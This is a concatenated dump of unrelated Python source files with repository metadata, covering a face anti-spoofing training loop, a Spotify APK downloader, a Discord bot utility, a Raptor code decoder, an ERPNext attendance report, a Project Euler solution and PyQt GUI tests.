map_x_fake = map_x[int(args.batchsize * args.ratio):, :, :]
map_label_fake = map_label[int(args.batchsize * args.ratio):, :, :]
absolute_loss_fake = 0.1 * criterion_absolute_loss(map_x_fake, map_label_fake)
contrastive_loss_fake = 0.1 * criterion_contrastive_loss(map_x_fake, map_label_fake)
kl_loss_fake = -(1 + logvar_fake - (mu_fake - map_label_fake).pow(2) - logvar_fake.exp()) / 2
kl_loss_fake = kl_loss_fake.sum(dim=1).sum(dim=1).mean()
kl_loss_fake = 0.1 * args.kl_lambda * kl_loss_fake
absolute_loss = absolute_loss_real + absolute_loss_fake
contrastive_loss = contrastive_loss_real + contrastive_loss_fake
kl_loss = kl_loss_real + kl_loss_fake
loss = absolute_loss + contrastive_loss + kl_loss
loss.backward()
optimizer.step()
n = inputs.size(0)
loss_absolute_real.update(absolute_loss_real.data, n)
loss_absolute_fake.update(absolute_loss_fake.data, n)
loss_contra_real.update(contrastive_loss_real.data, n)
loss_contra_fake.update(contrastive_loss_fake.data, n)
loss_kl_real.update(kl_loss_real.data, n)
loss_kl_fake.update(kl_loss_fake.data, n)
scheduler.step()
# whole epoch average
print(
'epoch:%d, Train: Absolute_loss: real=%.4f,fake=%.4f, '
'Contrastive_loss: real=%.4f,fake=%.4f, kl_loss: real=%.4f,fake=%.4f' % (
epoch + 1, loss_absolute_real.avg, loss_absolute_fake.avg, loss_contra_real.avg, loss_contra_fake.avg,
loss_kl_real.avg, loss_kl_fake.avg))
# validation/test
if epoch < 200:
epoch_test = 200
else:
epoch_test = 50
# epoch_test = 1
if epoch % epoch_test == epoch_test - 1:
model.eval()
with torch.no_grad():
###########################################
''' val '''
###########################################
# val for threshold
val_data = Spoofing_valtest(val_list, val_image_dir, val_map_dir,
transform=transforms.Compose([Normaliztion_valtest(), ToTensor_valtest()]))
dataloader_val = DataLoader(val_data, batch_size=1, shuffle=False, num_workers=4)
map_score_list = []
for i, sample_batched in enumerate(dataloader_val):
# get the inputs
inputs, spoof_label = sample_batched['image_x'].cuda(), sample_batched['spoofing_label'].cuda()
val_maps = sample_batched['val_map_x'].cuda() # binary map from PRNet
optimizer.zero_grad()
mu, logvar, map_x, x_concat, x_Block1, x_Block2, x_Block3, x_input = model(inputs.squeeze(0))
score_norm = mu.sum(dim=1).sum(dim=1) / val_maps.squeeze(0).sum(dim=1).sum(dim=1)
map_score = score_norm.mean()
map_score_list.append('{} {}\n'.format(map_score, spoof_label[0][0]))
map_score_val_filename = args.log + '/' + args.log + '_map_score_val.txt'
with open(map_score_val_filename, 'w') as file:
file.writelines(map_score_list)
###########################################
''' test '''
##########################################
# test for ACC
test_data = Spoofing_valtest(test_list, test_image_dir, test_map_dir,
transform=transforms.Compose([Normaliztion_valtest(), ToTensor_valtest()]))
dataloader_test = DataLoader(test_data, batch_size=1, shuffle=False, num_workers=4)
map_score_list = []
for i, sample_batched in enumerate(dataloader_test):
# get the inputs
inputs, spoof_label = sample_batched['image_x'].cuda(), sample_batched['spoofing_label'].cuda()
test_maps = sample_batched['val_map_x'].cuda()
optimizer.zero_grad()
mu, logvar, map_x, x_concat, x_Block1, x_Block2, x_Block3, x_input = model(inputs.squeeze(0))
score_norm = mu.sum(dim=1).sum(dim=1) / test_maps.squeeze(0).sum(dim=1).sum(dim=1)
map_score = score_norm.mean()
map_score_list.append('{} {}\n'.format(map_score, spoof_label[0][0]))
map_score_test_filename = args.log + '/' + args.log + '_map_score_test.txt'
with open(map_score_test_filename, 'w') as file:
file.writelines(map_score_list)
#############################################################
# performance measurement both val and test
#############################################################
val_threshold, test_threshold, val_ACC, val_ACER, test_ACC, test_APCER, test_BPCER, test_ACER, test_ACER_test_threshold = performances(
map_score_val_filename, map_score_test_filename)
print('epoch:%d, Val: val_threshold= %.4f, val_ACC= %.4f, val_ACER= %.4f' % (
epoch + 1, val_threshold, val_ACC, val_ACER))
log_file.write('\n epoch:%d, Val: val_threshold= %.4f, val_ACC= %.4f, val_ACER= %.4f \n' % (
epoch + 1, val_threshold, val_ACC, val_ACER))
print('epoch:%d, Test: ACC= %.4f, APCER= %.4f, BPCER= %.4f, ACER= %.4f' % (
epoch + 1, test_ACC, test_APCER, test_BPCER, test_ACER))
log_file.write('epoch:%d, Test: ACC= %.4f, APCER= %.4f, BPCER= %.4f, ACER= %.4f \n' % (
epoch + 1, test_ACC, test_APCER, test_BPCER, test_ACER))
log_file.flush()
if epoch % epoch_test == epoch_test - 1:
# save the model until the next improvement
torch.save(model.state_dict(), args.log + '/' + args.log + '_%d.pkl' % (epoch + 1))
print('Finished Training')
log_file.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="save quality using landmarkpose model")
parser.add_argument('--gpus', type=str, default='0, 1, 2, 3', help='the gpu id used for predict')
parser.add_argument('--lr', type=float, default=0.0001, help='initial learning rate')
parser.add_argument('--batchsize', type=int, default=64, help='initial batchsize')
parser.add_argument('--step_size', type=int, default=500, help='how many epochs lr decays once') # 500
parser.add_argument('--gamma', type=float, default=0.5, help='gamma of optim.lr_scheduler.StepLR, decay of lr')
parser.add_argument('--kl_lambda', type=float, default=0.001, help='')
parser.add_argument('--ratio', type=float, default=0.75, help='real and fake in batchsize ')
parser.add_argument('--echo_batches', type=int, default=50, help='how many batches display once') # 50
parser.add_argument('--epochs', type=int, default=1600, help='total training epochs')
parser.add_argument('--log', type=str, default="CDCN_U_P1", help='log and save model name')
parser.add_argument('--finetune', action='store_true', default=False, help='whether finetune other models')
args = parser.parse_args()
train_test()
| 47.77931 | 152 | 0.58444 |
14007734f5d8729d94671298f144bda00fec3b3f
| 151 |
py
|
Python
|
src/third_party_module/upload_self_define_module/nester/nester.py
|
HuangHuaBingZiGe/GitHub-Demo
|
f3710f73b0828ef500343932d46c61d3b1e04ba9
|
[
"Apache-2.0"
] | null | null | null |
src/third_party_module/upload_self_define_module/nester/nester.py
|
HuangHuaBingZiGe/GitHub-Demo
|
f3710f73b0828ef500343932d46c61d3b1e04ba9
|
[
"Apache-2.0"
] | null | null | null |
src/third_party_module/upload_self_define_module/nester/nester.py
|
HuangHuaBingZiGe/GitHub-Demo
|
f3710f73b0828ef500343932d46c61d3b1e04ba9
|
[
"Apache-2.0"
] | null | null | null |
def print_lol(arr):
for row in arr:
if (isinstance(row, list)):
print_lol(row)
else:
print
row
| 18.875 | 35 | 0.456954 |
d311f594d2a844e6d5e6617c53d3b5bdd083d897
| 2,665 |
py
|
Python
|
spotify_gender_ex/downloader.py
|
Theta-Dev/Spotify-Gender-Ex
|
4e5360f115cb3302397b8e1ad1b11ad96b887ad2
|
[
"MIT"
] | 1 |
2022-02-05T16:40:13.000Z
|
2022-02-05T16:40:13.000Z
|
spotify_gender_ex/downloader.py
|
Theta-Dev/Spotify-Gender-Ex
|
4e5360f115cb3302397b8e1ad1b11ad96b887ad2
|
[
"MIT"
] | 31 |
2021-06-17T11:59:33.000Z
|
2022-03-19T07:05:18.000Z
|
spotify_gender_ex/downloader.py
|
Theta-Dev/Spotify-Gender-Ex
|
4e5360f115cb3302397b8e1ad1b11ad96b887ad2
|
[
"MIT"
] | null | null | null |
import os
import re
import urllib.request
import click
import requests
from tqdm import tqdm
URL_UPTODOWN = 'https://spotify.de.uptodown.com/android/download'
URL_GHAPI = 'https://api.github.com/repos/Theta-Dev/Spotify-Gender-Ex/commits/master'
URL_RTABLE = 'https://raw.githubusercontent.com/Theta-Dev/Spotify-Gender-Ex/%s/spotify_gender_ex/res/replacements.json'
class Downloader:
def __init__(self, download_id=''):
pattern_url = re.escape('https://dw.uptodown.com/dwn/') + r'(\w|\.|\/|-|\+|=)+'
pattern_version = r'(?<=<div class=version>)(\d|\.)+'
if download_id:
url = URL_UPTODOWN + '/' + download_id
else:
url = URL_UPTODOWN
try:
r = requests.get(url)
except Exception:
msg = 'Spotify-Version konnte nicht abgerufen werden'
click.echo(msg)
self.spotify_version = 'NA'
self.spotify_url = ''
return
search_url = re.search(pattern_url, r.text)
search_version = re.search(pattern_version, r.text)
if not search_url or not search_version:
msg = 'Spotify-Version nicht gefunden'
click.echo(msg)
self.spotify_version = 'NA'
self.spotify_url = ''
return
self.spotify_url = str(search_url[0])
self.spotify_version = str(search_version[0])
def download_spotify(self, output_path):
if not self.spotify_url:
return False
return _download(self.spotify_url, output_path, 'Spotify')
@staticmethod
def get_replacement_table_raw():
try:
# Get latest commit
sha = requests.get(URL_GHAPI).json()['sha']
return requests.get(URL_RTABLE % sha).text
except Exception:
click.echo('Ersetzungstabelle konnte nicht abgerufen werden. Verwende eingebaute Tabelle.')
# See here
# https://stackoverflow.com/questions/15644964/python-progress-bar-and-downloads
class _DownloadProgressBar(tqdm):
def update_to(self, b=1, bsize=1, tsize=None):
if tsize is not None:
self.total = tsize
self.update(b * bsize - self.n)
def _download(url, output_path, description=''):
if description:
click.echo('Lade %s herunter: %s' % (description, url))
else:
click.echo('Herunterladen: ' + url)
try:
with _DownloadProgressBar(unit='B', unit_scale=True, miniters=1, desc=url.split('/')[-1]) as t:
urllib.request.urlretrieve(url, filename=output_path, reporthook=t.update_to)
except Exception:
return False
return os.path.isfile(output_path)
| 31.72619 | 119 | 0.630394 |
d318c848b55117fd7c66c4af724183f8868ea105
| 436 |
py
|
Python
|
src/data_science/data_science/tools/time.py
|
viclule/api_models_deployment_framework
|
7595cf0b4f3e277925b968014102d7561547bcd4
|
[
"MIT"
] | null | null | null |
src/data_science/data_science/tools/time.py
|
viclule/api_models_deployment_framework
|
7595cf0b4f3e277925b968014102d7561547bcd4
|
[
"MIT"
] | null | null | null |
src/data_science/data_science/tools/time.py
|
viclule/api_models_deployment_framework
|
7595cf0b4f3e277925b968014102d7561547bcd4
|
[
"MIT"
] | null | null | null |
from datetime import datetime, timezone
def get_timestamp_isoformat():
"""
Generate a timestampt in iso format.
"""
dt = datetime.utcnow().replace(microsecond=0).isoformat("T") + "Z"
return dt
def get_timestamp_unix():
"""
Generate a timestampt in unix format.
########.###
"""
dt = datetime.utcnow().replace()
timestamp = dt.replace(tzinfo=timezone.utc).timestamp()
return timestamp
| 21.8 | 70 | 0.637615 |
d35ae302dc71c9bbf5223948369169ce172e3f51
| 5,310 |
py
|
Python
|
utils/rtutil.py
|
RT-Team/RT-Lib
|
686c3632f4283c56b5983d2ddc20bd94f7ef2ba4
|
[
"MIT"
] | null | null | null |
utils/rtutil.py
|
RT-Team/RT-Lib
|
686c3632f4283c56b5983d2ddc20bd94f7ef2ba4
|
[
"MIT"
] | null | null | null |
utils/rtutil.py
|
RT-Team/RT-Lib
|
686c3632f4283c56b5983d2ddc20bd94f7ef2ba4
|
[
"MIT"
] | null | null | null |
# RT Ext - Useful Util
# 注意:普通のエクステンションとは違います。
import asyncio
from json import dumps
from time import time
import discord
from aiofile import async_open
from discord.ext import commands, tasks
class RtUtil(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.data = {
"list_embed": {}
}
self.ARROW_EMOJI = ["◀️", "▶️"]
self.now = time()
self.save_queue = []
self.list_embed_timeout_loop.start()
def list_embed(self, member_id: int, embeds: list[discord.Embed],
timeout: int = 60, anyone: bool = False
) -> list[discord.Embed, list[str]]:
self.data["list_embed"][member_id] = {
"embeds": [embed.to_dict() for embed in embeds],
"timeout": self.now + timeout,
"anyone": anyone
}
return embeds[0], self.ARROW_EMOJI
@tasks.loop(seconds=5)
async def list_embed_timeout_loop(self):
for user_id in self.data["list_embed"]:
if self.now > self.data["list_embed"][user_id]["timeout"]:
del self.data["list_embed"][user_id]
async def list_embed_reaction_task(self, reaction, user):
# === list embed === #
if (not reaction.message.embeds
or str(reaction.emoji) not in self.ARROW_EMOJI
or reaction.message.author.id != self.bot.user.id
or user.id not in self.data["list_embed"]):
return
embed = reaction.message.embeds[0]
now_embed = embed.to_dict()
for user_id in self.data["list_embed"]:
if (now_embed in self.data["list_embed"][user.id]["embeds"]
and user_id == user.id):
data = self.data["list_embed"][user.id]
now = data["embeds"].index(now_embed)
next_page = 0
if str(reaction.emoji) == self.ARROW_EMOJI[0]:
next_page = now - 1
elif str(reaction.emoji) == self.ARROW_EMOJI[1]:
next_page = now + 1
if len(data["embeds"]) != next_page and now != 0:
embed = data["embeds"][next_page]
await reaction.message.edit(embed=embed)
break
try:
await reaction.message.remove_reaction(str(reaction.emoji), user)
except Exception:
pass
@commands.Cog.listener()
async def on_reaction_add(self, reaction, user):
await self.list_embed_reaction_task(reaction, user)
def unload_cog(self):
self.list_embed_timeout_loop.cancel()
# Webhook Sender
async def send(channel, author, content=None, embeds=None,
files=None, wait=False, name='RT-Tool'):
wb = discord.utils.get(await channel.webhooks(), name=name)
wb = wb if wb else await channel.create_webhook(name=name)
return await wb.send(wait=wait, username=author.name,
avatar_url=author.avatar_url, content=content,
embeds=embeds, files=files)
async def not_author_send(channel, author_name, icon_url, content=None,
embeds=None, files=None, wait=False, name='RT-Tool'):
wb = discord.utils.get(await channel.webhooks(), name=name)
wb = wb if wb else await channel.create_webhook(name=name)
return await wb.send(wait=wait, username=author_name, avatar_url=icon_url,
content=content, embeds=embeds, files=files)
# easy_embed
def easy_embed(content, color=discord.Embed.Empty):
es = ">>"
spl = content.splitlines()
title = spl[0][len(es):]
desc, fields = [], {}
footer = None if ';;' not in spl[-1] else spl[-1][2:]
if footer:
spl.pop(-1)
spl.pop(0)
f = None
for c in spl:
if c == "":
continue
if c[0] == '<':
f = c[1:] if '!' != c[1] else c[2:]
fields[f] = {'i': True if '!' != c[1] else False, 'c': []}
continue
if f:
fields[f]['c'].append(c)
continue
desc.append(c)
e = discord.Embed(
title=title,
description='\n'.join(desc),
color=color
)
for f in fields.keys():
e.add_field(
name=f,
value='\n'.join(fields[f]['c']),
inline=fields[f]['i']
)
if footer:
e.set_footer(text=footer)
return e
# Role TOOL
def check_int(v):
try:
int(v)
except BaseException:
return False
else:
return True
def has_roles(member, roles):
return any(bool(discord.utils.get(
member.roles, id=role.id)) for role in roles)
def role2obj(guild, arg):
roles_raw, roles = arg.split(','), []
for role in roles_raw:
if '@' in role:
roles.append(guild.get_role(int(role[3:-1])))
elif check_int(role):
roles.append(guild.get_role(int(role)))
else:
roles.append(discord.utils.get(guild.roles, name=role))
return roles
class Roler(discord.ext.commands.Converter):
async def convert(self, ctx, arg):
return role2obj(ctx.guild, arg)
def similer(b, a, m):
return any(a[i:i + m] in b for i in range(len(a) - m))
def setup(bot):
return RtUtil(bot)
| 30.170455 | 79 | 0.56403 |
6cffbd65c3259cdce6bb8d63fcc07acc7911f4c6
| 5,733 |
py
|
Python
|
21-fs-ias-lec/13-RaptorCode/src/decoder.py
|
Kyrus1999/BACnet
|
5be8e1377252166041bcd0b066cce5b92b077d06
|
[
"MIT"
] | 8 |
2020-03-17T21:12:18.000Z
|
2021-12-12T15:55:54.000Z
|
21-fs-ias-lec/13-RaptorCode/src/decoder.py
|
Kyrus1999/BACnet
|
5be8e1377252166041bcd0b066cce5b92b077d06
|
[
"MIT"
] | 2 |
2021-07-19T06:18:43.000Z
|
2022-02-10T12:17:58.000Z
|
21-fs-ias-lec/13-RaptorCode/src/decoder.py
|
Kyrus1999/BACnet
|
5be8e1377252166041bcd0b066cce5b92b077d06
|
[
"MIT"
] | 25 |
2020-03-20T09:32:45.000Z
|
2021-07-18T18:12:59.000Z
|
import numpy as np
import utils
from utils import NUMBER_OF_ENCODED_BITS, VECTORLENGTH, Z, TransmissionPackage
class Decoder:
def __init__(self):
self._inputData = [] # [(informationID, [[(a, y)]] )] <-- Format, place in second Array is chunkID
self._decodedData = [] # [(informationID, [decodedBinaryVector] )] <-- Format, place in second Array is chunkID
self._positionsInCoefVector = [] # [(informationID, [[ys with element in this position]] )]
# self._Z = self._calcZ() # calculate the Z vectors
self._counter = 0
if len(Z) == 0:
utils.calcZ()
def _decode(self, data, coeffPositions):
# x is encoded source code:
x = np.empty(VECTORLENGTH)
x.fill(-1)
x = x.astype(int)
# y is solution vector
y = []
# building of Matrix and x Vector
allCoefficients = [] # temporary array to build Matrix
for i in range(len(data)):
allCoefficients.append(data[i][0])
y.append(data[i][1])
# add Raptor idea of additional precoded coeff vectors
for z in Z:
allCoefficients.append(z)
y.append(0)
matrix = np.array(allCoefficients)
if len(data) < NUMBER_OF_ENCODED_BITS:
print("Not enough Information")
return
for j in range(VECTORLENGTH):
# Step one
# find an entry which has exactly on unknown
numberOfCoefficient = np.sum(matrix, 1) # number of coefficient per row
indexOfYi = utils.findFirstNumber(numberOfCoefficient, 1) # index of first row with one coef.
if indexOfYi == -1: # catch if there is no such row
return
indexOfXj = utils.findFirstNumber(matrix[indexOfYi], 1) # index of element with 1
# step two
# decode xj since yi is of degree one
x[indexOfXj] = y[indexOfYi]
# step three
# check all coefficient vectors, if they contain xj and remove them from there and yi
for i in coeffPositions[indexOfXj]:
matrix[i, indexOfXj] = 0
y[i] = np.bitwise_xor(y[i], x[indexOfXj])
coeffPositions[indexOfXj] = []
"""for i in range(len(y)):
if BinaryVector.checkNumberAtPosition(matrix[i], 1, indexOfXj):
matrix[i, indexOfXj] = 0
y[i] = np.bitwise_xor(y[i], x[indexOfXj])"""
# step 4
# repeat until done
if utils.findFirstNumber(x, -1) == -1:
return x
def decode(self, tp: TransmissionPackage):
# get the information from the package
informationID = tp.informationID
chunkID = tp.chunkID
size = tp.size
ayTuple = (utils.intToBin(tp.ayTuple[0], VECTORLENGTH), tp.ayTuple[1]) # also decode a to binVector
# check if this chunk of information already has been decoded
decodedID = -1
for i in range(len(self._decodedData)):
if self._decodedData[i][0] == informationID:
decodedID = i
if len(self._decodedData[i][1][chunkID]) != 0:
return
self._counter += 1
# check if this information is already in processing
index = -1
for i in range(len(self._inputData)):
if self._inputData[i][0] == informationID:
index = i
break
# when not, create entry's
if index == -1:
packages = []
decoded = []
coeff = []
for i in range(size):
packages.append([])
decoded.append([])
temp = []
for i in range(VECTORLENGTH):
temp.append([])
coeff.append(temp)
self._inputData.append((informationID, packages))
self._decodedData.append((informationID, decoded))
self._positionsInCoefVector.append((informationID, coeff))
# add it to the input
self._inputData[index][1][chunkID].append(ayTuple)
# register positions in coeffvector
yLen = len(self._inputData[index][1][chunkID])
for i in range(VECTORLENGTH):
if ayTuple[0][i] == 1:
self._positionsInCoefVector[index][1][chunkID][i].append(yLen - 1)
# check if there are enough information to decode
# print(self._inputData)
if len(self._inputData[index][1][chunkID]) < NUMBER_OF_ENCODED_BITS:
return
# try to decode data
decoded = self._decode(self._inputData[index][1][chunkID],
self._positionsInCoefVector[index][1][chunkID].copy())
# check if decoding was successful
if decoded is None:
return
# safe decoded chunk
self._decodedData[decodedID][1][chunkID] = decoded
# check if all chunks are decoded
for i in range(size):
if len(self._decodedData[decodedID][1][i]) == 0:
return
# cut decoded to correct size
xVector = self._decodedData[decodedID][1][0][0:NUMBER_OF_ENCODED_BITS]
# bring decoded data in byte form
byte = utils.bitArrayToBytes(xVector)
for i in range(1, size):
xVector = self._decodedData[decodedID][1][i][0:NUMBER_OF_ENCODED_BITS]
byte += utils.bitArrayToBytes(xVector)
# remove informationSlot from the memory
self._inputData.pop(index)
self._decodedData.pop(decodedID)
self._positionsInCoefVector.pop(index)
# return the data
return byte
| 36.056604 | 120 | 0.568114 |
9f2096e503b1764311d574ee845445b547da7b73
| 453 |
py
|
Python
|
Django/ballon/admin.py
|
ballon3/GRAD
|
c630e32272fe34ead590c04d8360169e02be87f1
|
[
"MIT"
] | null | null | null |
Django/ballon/admin.py
|
ballon3/GRAD
|
c630e32272fe34ead590c04d8360169e02be87f1
|
[
"MIT"
] | null | null | null |
Django/ballon/admin.py
|
ballon3/GRAD
|
c630e32272fe34ead590c04d8360169e02be87f1
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from ballon.models import Pkg, Resume, Main, Education, Project, Work, Skill, Testimonial, Social, Address
#admin.site.register(Category)
admin.site.register(Resume)
admin.site.register(Main)
admin.site.register(Education)
admin.site.register(Work)
admin.site.register(Project)
admin.site.register(Skill)
admin.site.register(Social)
admin.site.register(Testimonial)
admin.site.register(Address)
admin.site.register(Pkg)
| 32.357143 | 106 | 0.81457 |
4cf469984a513806e0e1e0c8ae654d64324c3888
| 990 |
py
|
Python
|
euler-50.py
|
TFabijo/euler2
|
7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0
|
[
"MIT"
] | null | null | null |
euler-50.py
|
TFabijo/euler2
|
7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0
|
[
"MIT"
] | null | null | null |
euler-50.py
|
TFabijo/euler2
|
7da205ce02ae3bd12754f99c1fe69fbf20b1e3d0
|
[
"MIT"
] | null | null | null |
def prastevila_do_n(n):
pra = [2,3,5,7]
for x in range(8,n+1):
d = True
for y in range(2,int(x ** 0.5) + 1):
if d == False:
break
elif x % y == 0:
d = False
if d == True:
pra.append(x)
return pra
def euler_50():
pra = prastevila_do_n(1000000)
najvecja_vsot_ki_je_prastevilo = 0
stevilo_z_najvec_p = 0
for p in pra:
i = pra.index(p)
if sum(pra[i:i+stevilo_z_najvec_p]) > 1000000:
break
stevilo_p = 0
vsota = pra[i]
for p1 in range(i+1,len(pra)):
stevilo_p += 1
vsota += pra[p1]
if vsota > 1000000:
break
elif vsota in pra and stevilo_z_najvec_p < stevilo_p:
najvecja_vsot_ki_je_prastevilo = vsota
stevilo_z_najvec_p = stevilo_p
return najvecja_vsot_ki_je_prastevilo
euler_50()
| 26.052632 | 66 | 0.493939 |
646e3f798705f6b0c67f2b3094fafcabdb531a9a
| 2,283 |
py
|
Python
|
frappe-bench/apps/erpnext/erpnext/education/report/student_batch_wise_attendance/student_batch_wise_attendance.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | null | null | null |
frappe-bench/apps/erpnext/erpnext/education/report/student_batch_wise_attendance/student_batch_wise_attendance.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | null | null | null |
frappe-bench/apps/erpnext/erpnext/education/report/student_batch_wise_attendance/student_batch_wise_attendance.py
|
Semicheche/foa_frappe_docker
|
a186b65d5e807dd4caf049e8aeb3620a799c1225
|
[
"MIT"
] | null | null | null |
# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors
# License: GNU General Public License v3. See license.txt
from __future__ import unicode_literals
import frappe
from frappe.utils import cstr, cint, getdate
from frappe import msgprint, _
def execute(filters=None):
if not filters: filters = {}
if not filters.get("date"):
msgprint(_("Please select date"), raise_exception=1)
columns = get_columns(filters)
active_student_group = get_active_student_group()
data = []
for student_group in active_student_group:
row = [student_group.name]
present_students = 0
absent_students = 0
student_group_strength = get_student_group_strength(student_group.name)
student_attendance = get_student_attendance(student_group.name, filters.get("date"))
if student_attendance:
for attendance in student_attendance:
if attendance.status== "Present":
present_students = attendance.count
elif attendance.status== "Absent":
absent_students = attendance.count
unmarked_students = student_group_strength - (present_students + absent_students)
row+= [student_group_strength, present_students, absent_students, unmarked_students]
data.append(row)
return columns, data
def get_columns(filters):
columns = [
_("Student Group") + ":Link/Student Group:250",
_("Student Group Strength") + "::170",
_("Present") + "::90",
_("Absent") + "::90",
_("Not Marked") + "::90"
]
return columns
def get_active_student_group():
active_student_groups = frappe.db.sql("""select name from `tabStudent Group` where group_based_on = "Batch"
and academic_year=%s order by name""", (frappe.defaults.get_defaults().academic_year), as_dict=1)
return active_student_groups
def get_student_group_strength(student_group):
student_group_strength = frappe.db.sql("""select count(*) from `tabStudent Group Student`
where parent = %s and active=1""", student_group)[0][0]
return student_group_strength
def get_student_attendance(student_group, date):
student_attendance = frappe.db.sql("""select count(*) as count, status from `tabStudent Attendance` where \
student_group= %s and date= %s and\
(course_schedule is Null or course_schedule='') group by status""",
(student_group, date), as_dict=1)
return student_attendance
| 35.671875 | 109 | 0.750329 |
b3985f565a3b58ad025d4c71f174f2a90abe2aa7
| 12,172 |
py
|
Python
|
tests/test_main_window.py
|
Ceystyle/easyp2p
|
99c32e3ec0ff5a34733f157dd1b53d1aa9bc9edc
|
[
"MIT"
] | 4 |
2019-07-18T10:58:28.000Z
|
2021-11-18T16:57:45.000Z
|
tests/test_main_window.py
|
Ceystyle/easyp2p
|
99c32e3ec0ff5a34733f157dd1b53d1aa9bc9edc
|
[
"MIT"
] | 1 |
2019-07-05T09:21:47.000Z
|
2019-07-05T09:21:47.000Z
|
tests/test_main_window.py
|
Ceystyle/easyp2p
|
99c32e3ec0ff5a34733f157dd1b53d1aa9bc9edc
|
[
"MIT"
] | 2 |
2019-07-05T08:56:34.000Z
|
2020-06-09T10:03:42.000Z
|
# -*- coding: utf-8 -*-
# Copyright (c) 2018-2020 Niko Sandschneider
"""Module containing all tests for the main window of easyp2p."""
from datetime import date, timedelta
import os
import sys
import unittest.mock
from PyQt5.QtCore import QLocale
from PyQt5.QtWidgets import QApplication, QCheckBox, QLineEdit
import easyp2p.platforms
from easyp2p.ui.main_window import MainWindow
QT_APP = QApplication(sys.argv)
class MainWindowTests(unittest.TestCase):
"""Test the main window of easyp2p."""
PLATFORMS = {pl for pl in dir(easyp2p.platforms) if pl[0].isupper()}
def setUp(self) -> None:
"""Create the GUI."""
self.form = MainWindow(QT_APP)
def set_date_combo_boxes(
self, start_month: int, start_year: int, end_month: int,
end_year: int) -> None:
"""
Helper method to set the indices of the date combo boxes
Args:
start_month: Index of start month combo box entry.
start_year: Index of start year combo box entry.
end_month: Index of end month combo box entry.
end_year: Index of end year combo box entry.
"""
self.form.combo_box_start_month.setCurrentIndex(start_month)
self.form.combo_box_start_year.setCurrentIndex(start_year)
self.form.combo_box_end_month.setCurrentIndex(end_month)
self.form.combo_box_end_year.setCurrentIndex(end_year)
self.form.on_combo_box_start_year_activated()
def test_defaults(self) -> None:
"""Test GUI in default state."""
# All check boxes are unchecked in default state
for check_box in self.form.group_box_platforms.findChildren(QCheckBox):
self.assertFalse(check_box.isChecked())
# Check if date_range is correct
end_last_month = date.today().replace(day=1) - timedelta(days=1)
date_range = (end_last_month.replace(day=1), end_last_month)
self.assertEqual(date_range, self.form.date_range)
# Check if date combo boxes are correct
self.assertEqual(
QLocale().monthName(date_range[0].month, 1),
self.form.combo_box_start_month.currentText())
self.assertEqual(
str(date_range[0].year),
self.form.combo_box_start_year.currentText())
self.assertEqual(
QLocale().monthName(date_range[1].month, 1),
self.form.combo_box_end_month.currentText())
self.assertEqual(
str(date_range[1].year),
self.form.combo_box_end_year.currentText())
# Check if output file name is set correctly
self.assertEqual(
self.form.line_edit_output_file.text(), os.path.join(
self.form.settings.directory,
f'P2P_Results_{date_range[0].strftime("%d%m%Y")}-'
f'{date_range[1].strftime("%d%m%Y")}.xlsx'))
def test_select_all_platforms(self) -> None:
"""Test the Select All Platforms checkbox."""
# Toggle the 'Select all platforms' checkbox
self.form.check_box_select_all.setChecked(True)
# Test that all platform check boxes are checked
for check_box in self.form.group_box_platforms.findChildren(QCheckBox):
self.assertTrue(check_box.isChecked())
def test_get_platforms_no_platform_checked_true(self) -> None:
"""Test get_platforms if no platform is selected and checked==True."""
platforms = self.form.get_platforms(True)
self.assertEqual(platforms, set())
def test_get_platforms_all_platforms_checked_true(self) -> None:
"""
Test get_platforms if all platforms are selected and checked==True.
"""
self.form.check_box_select_all.setChecked(True)
platforms = self.form.get_platforms(True)
self.assertEqual(platforms, self.PLATFORMS)
def test_get_platforms_three_platforms_selected_checked_true(self) -> None:
"""
Test get_platforms if three platforms are selected and checked==True.
"""
self.form.check_box_bondora.setChecked(True)
self.form.check_box_mintos.setChecked(True)
self.form.check_box_twino.setChecked(True)
platforms = self.form.get_platforms(True)
self.assertEqual(platforms, {'Bondora', 'Mintos', 'Twino'})
def test_get_platforms_three_platforms_selected_checked_false(self) -> None:
"""
Test get_platforms if three platforms are selected and checked==False.
"""
self.form.check_box_bondora.setChecked(True)
self.form.check_box_mintos.setChecked(True)
self.form.check_box_twino.setChecked(True)
platforms = self.form.get_platforms(False)
self.assertEqual(platforms, self.PLATFORMS)
def test_get_platforms_checked_false(self) -> None:
"""Test get_platforms if checked==False."""
platforms = self.form.get_platforms(False)
self.assertEqual(platforms, self.PLATFORMS)
def test_select_all_platforms_twice(self) -> None:
"""Test the Select All Platforms checkbox."""
# Toggle the 'Select all platforms' checkbox
self.form.check_box_select_all.setChecked(True)
# Untoggle the 'Select all platforms' checkbox again
self.form.check_box_select_all.setChecked(False)
# Test that all platform check boxes are unchecked again
for check_box in self.form.group_box_platforms.findChildren(QCheckBox):
self.assertFalse(check_box.isChecked())
def test_output_file_on_date_change(self) -> None:
"""Test output file name after a date change."""
old_output_file = self.form.line_edit_output_file.text()
# Change start and end date
self.set_date_combo_boxes(4, 0, 10, 5)
new_output_file = self.form.line_edit_output_file.text()
self.assertNotEqual(new_output_file, old_output_file)
self.assertEqual(
os.path.join(
self.form.settings.directory,
'P2P_Results_01052010-30112015.xlsx'),
new_output_file)
def test_output_file_on_date_change_after_user_change(self) -> None:
"""Test output file after date change if user already changed file."""
QLineEdit.setText(self.form.line_edit_output_file, 'Test.xlsx')
self.form.output_file_changed = True
# Change start and end date
self.set_date_combo_boxes(4, 0, 10, 5)
# Check that the output file name was not changed
self.assertEqual(self.form.line_edit_output_file.text(), 'Test.xlsx')
@unittest.mock.patch('easyp2p.ui.main_window.ProgressWindow')
@unittest.mock.patch('easyp2p.ui.main_window.QMessageBox.warning')
def test_no_platform_selected(self, mock_warning, mock_dialog) -> None:
"""Test clicking start without any selected platform."""
self.form.push_button_start.click()
# Check that QMessageBox was opened and ProgressWindow was not
mock_warning.assert_called_once_with(
self.form,
'No P2P platform selected!',
'Please choose at least one P2P platform!')
self.assertFalse(mock_dialog.called)
@unittest.mock.patch('easyp2p.ui.main_window.ProgressWindow')
@unittest.mock.patch('easyp2p.ui.main_window.QMessageBox.warning')
